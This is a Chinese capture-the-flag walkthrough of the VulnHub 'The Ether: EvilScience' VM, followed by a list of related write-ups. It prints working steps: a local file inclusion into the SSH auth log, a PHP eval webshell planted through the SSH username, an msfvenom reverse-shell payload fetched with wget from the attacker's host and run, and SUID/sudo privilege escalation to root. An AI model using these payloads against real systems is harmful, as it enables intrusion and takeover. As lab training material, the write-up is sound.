25. CTF综合靶机渗透(17)
靶机链接
https://www.vulnhub.com/entry/the-ether-evilscience,212
运行环境
本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行
vmx
文件即可靶机:本靶机默认使用了自动获取的上网模式。运行靶机之后,将会桥接到物理网卡,接入网络。
攻击机:Kali虚拟机运行于virtualbox,同样使用桥接模式,即可访问靶机。
靶机说明
本靶机有一定难度,不适合初学者。
本靶机的渗透目标为渗透进靶机并且找到系统中隐藏的Flag值。
官方提供了一个提示:靶机中有一个相关的文件,在渗透过程中发挥重要作用,但是不要浪费时间试图去解密这个混淆后的文件。
信息收集
ip发现
首先看一下Kali的网络配置:
之后使用namp发现靶机。
nmap -sP 192.168.0.0/24 发现有本网段有vm相关IP。
- 端口扫描与服务
使用nmap发现192.168.0.105 靶机基本信息:nmap -p 1-65535 -A 192.168.0.105
威胁建模
分析nmap的扫描结果,发现靶机只开放了22
和80
端口,系统为Ubuntu
。
22
端口为SSH
服务,80
端口为http
服务,Web容器为Apache/2.4.18
。
通常Web会存在各种各样的问题,经过初步分析,以Web作为初步的渗透入口。
Web漏洞挖掘
1. 使用niktoWeb漏洞扫描器
使用nikto工具扫描Web漏洞,nikto -h 192.168.1.105
,-h
参数指定扫描目标
没有发现什么明显的高危漏洞,发现了images
目录和/icons/README
文件,没有什么利用价值。
2. 使用dirb扫描网站目录
dirb http://192.168.1.105 /usr/share/wordlists/dirb/big.txt
除了部分静态文件,没有发现有价值的利用点。
3. 浏览网站功能
根据前两步基本的信息探测,并没有发现漏洞点。手动访问网站,分析网站功能。
我们先来查看网站首页:
点击ABOUT US
链接后,发现URL为:http://192.168.1.101/?file=about.php
,存在任意文件包含的可能。
4. 文件包含漏洞测试
为了直观的看到测试结果,这里使用Burpsuite处理http请求。
通过尝试包含Linux系统的配置文件,发现存在一定的限制。
如:包含/etc/passwd
发现没有结果。
之后测试了几个常见的Apache日志的路径:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
均无结果。
猜测可能是更改了配置文件的路径,尝试读Apache2的配置文件,/etc/apache2/apache2.conf
,发现也是失败。
尝试通过php伪协议读取php文件源码,也无果。
file=php://filter/convert.base64-encode/resource=index.php
根据之前整理的文件包含漏洞笔记利用思路:
结合之前信息探测的结果,靶机只开通了http
与ssh
服务。Apache的日志包含失败,尝试包含ssh的登陆日志。
file=/var/log/auth.log
成功读到ssh的登陆日志。
获取shell
1. 获取一句话Webshell
使用一句话作为用户名登陆靶机的ssh。
使用kali命令行登陆:
ssh "<?php eval($_GET['bmjoker']);?>"@192.168.1.105
或者使用xshell:
虽然我们不知道密码,但是SSH的日志会记录此次登陆行为,这样就可以把一句话
写入ssh的日志文件。测试一下是否成功:
可以看到一句话已经成功写入。
2. msfvenom生成Meterpreter shell
平时使用Msf比较多,这里也以Msf作为接下来主要的渗透工具。
首先生成Linux平台的shell程序。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f elf > shell.elf
3. Metasploit 设置监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.0.103
exploit
4. 种植Meterpreter shell
首先使用Python搭建一个简单的Web Server:python -m SimpleHTTPServer 80
之后利用前面获得的一句话,执行命令,下载生成的木马,并且运行。
分别发送以下请求:
/?file=/var/log/auth.log&bmjoker=system('wget+192.168.0.103/shell.elf')%3b
/?file=/var/log/auth.log&bmjoker=system('chmod+%2bx+shell.elf')%3b
/?file=/var/log/auth.log&bmjoker=system('./shell.elf')%3b
注意:
因为要执行的命令里面有空格、加号等符号,要将payload进行urlencode之后才可以正常执行。
因为生成的木马文件没有执行权限,下载到靶机后也无法执行,所以需要先给
shell.elf
添加执行权限,之后再执行。
执行结果:
提升权限
Linux提权的基本思路:
1. 溢出提权
现在拿到了目标靶机的Meterpreter shell,简单的看下信息。
发现系统为Ubuntu 16.04 (Linux 4.10.0-40-generic)
,前段时间爆了Ubuntu16.04提权的exp,在这里试一试。
exp 地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
多次实验...发现提权未果
2. 使用msf提权
use post/multi/recon/local_exploit_suggester
没有发现可以利用的提权漏洞。
3. 错误的SUID文件提权
进入交互式shell,派生一个bash的shell: python -c 'import pty;pty.spawn("/bin/bash")'
在Web的目录中发现了xxxlogauditorxxx.py
,这是不应该存在的,猜测是题目所指的特殊文件,而且该文件特别大。
运行一下该py文件,发现是审计日志的程序。 查看Apache2的日志文件,发现是执行了cat
命令,但是因为权限不够,没有执行成功。
仔细查看py文件的权限,发现具有SUID的权限,且文件所属用户为root。
sudo --list
查看一下用户权限。
发现可以不使用密码即可以root权限运行该py文件。这就好办多了。
该py文件的配置错误,导致可以直接以root权限执行命令。
接下来拿root权限的shell。
4. 获取root权限的shell
因为之前已经上传了Msfvenom生成的马,这里再次使用。首先推出shell,background
命令调入后台,然后再次开启监听,并且置于后台。
利用发现的特殊文件以root权限运行msf木马。
sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf
运行py之后,显示出现问题,不过不影响运行木马。
进入session 2的shell,查看权限:
获取flag
在root的家目录发现了flag.png
文件:
下载到本地进行分析:
推测接下来的考点属于图片隐写。
经过分析,在图片文件的末尾发现了一串base64
将base64写入flag.txt
,进行解码,get flag:
cat flag | base64 -d
靶场思路回顾
至此,已经完成最终目标,回头分析一下之前几个失败的点。
1. Web方面利用失败原因
首先看一下index.php的核心代码:
<?php
$file = $_GET["file"];
$file = str_ireplace("etc","", $file);
$file = str_ireplace("php:","", $file);
$file = str_ireplace("expect:","", $file);
$file = str_ireplace("data:","", $file);
$file = str_ireplace("proc","", $file);
$file = str_ireplace("home","", $file);
$file = str_ireplace("opt","", $file);
if ($file == "/var/log/auth.log")
{
header("location: index.php");
}
else
{
include($file);
}
include($file);
?>
可以看到index.php
将一些关键词置空了。
所以,之前利用不成功的点原因如下:
伪协议读文件失败
过滤了
php:
且大小写敏感,故不能使用伪协议读文件。读取配置文件、passwd文件等失败
过滤了
etc
,无法读取任何配置文件读取Apache访问日志失败。
因权限问题,
www-data
用户无法写入和读取Apache的日志文件。故,包含Apache日志失败。
2. 系统方面利用失败原因
溢出提权失败
通过分析报错,原因可能是因为靶机系统为32位,但exp只支持64位系统。
思路总结
突破点总结:
PHP本地文件包含漏洞发现
SSH日志写入一句话
利用LFI和SSH日志getshell
MSF生成木马,利用一句话植入、运行
利用错误配置SUID程序提权
在完成这次靶场的过程中,可以有很多发散的思路,比如:
文件包含漏洞,可以使用字典Fuzz一下各种配置文件。
使用NC或者其他反弹shell的姿势反弹shell。
此外,Metasploit Framework有很多方便实用的功能,如果能够掌握,会大大简化渗透的某些步骤,值得深入学习。
总体来说,此靶场设计比较简单。一个Web,一个SSH,利用点无非这两个,思路比较清晰,便于实践者完成该靶场。
25. CTF综合靶机渗透(17)的更多相关文章
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 20. CTF综合靶机渗透(十三)
靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...
- 14. CTF综合靶机渗透(七)
靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...
- 13. CTF综合靶机渗透(六)
靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...
- 19. CTF综合靶机渗透(十二)
靶机说明: 靶机主题来自美剧<黑客军团> 本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限. 渗透过程: 本 ...
- 15. CTF综合靶机渗透(八)
VM Name: BlackMarket VM Description: BlackMarket VM presented at Brisbane SecTalks BNE0x1B (28th Ses ...
随机推荐
- 转的es6 =>函数
原文地址 箭头函数=>无疑是ES6中最受关注的一个新特性了,通过它可以简写 function 函数表达式,你也可以在各种提及箭头函数的地方看到这样的观点--"=> 就是一个新的 ...
- shell 脚本后台运行知识
1. bash while01.py & 把脚本放在后台执行 2. ctl + c 停止执行前台执行中的脚本(不能停止在后台运行中的脚本) 3. ctl + z 暂停执行前台 ...
- 算法(Algorithms)第4版 练习 1.5.16
Quick-find package com.qiusongde; import edu.princeton.cs.algs4.StdDraw; import edu.princeton.cs.alg ...
- Docker-为镜像添加SSH服务
进入容器的办法有很多,包括exec.attach等命令,但是这些命令都无法解决远程管理容器的问题,因此,需要SSH的支持 基于commit命令创建 docker提供了docker commit命令,支 ...
- ANT+JMETER集成
一.ant安装 环境准备: 1.安装jdk http://www.oracle.com/technetwork/java/javase/downloads/index.html 注意:最好与jmete ...
- Python习题-输出一个字符串中最长的子字符串及其长度
描述:有个字符串$sd1#111$svda123!!!221&eSSDSDG,包含特殊字符.数字和字母,输出最长的子字符串和他的长度#例如上面的字符串包含数字字母的字符串是svda123,长度 ...
- Python set运算 集合差集,并集,交集,list去重复
在没有发现方便的set运算之前,都是用遍历list查找两个集合的差别. 比如, 找list1和list2的差集 for i in list1: if not i in list2: print i 现 ...
- bzoj2654tree
给定一个n个点m条边的图,每条边有黑白两色,求出恰好含need条白边的最小生成树 最小生成树...仿佛并没有什么dp的做法 大概还是个kruskal的板子再加点什么东西 考虑到“恰好含need条白边” ...
- HDU5446 Unknown Treasure(组合数膜合数-->Lucas+中国剩余定理)
>On the way to the next secret treasure hiding place, the mathematician discovered a cave unknown ...
- 洛谷 P4546 & bzoj 5020 在美妙的数学王国中畅游 —— LCT+泰勒展开
题目:https://www.luogu.org/problemnew/show/P4546 先写了个55分的部分分,直接用LCT维护即可,在洛谷上拿了60分: 注意各处 pushup,而且 spla ...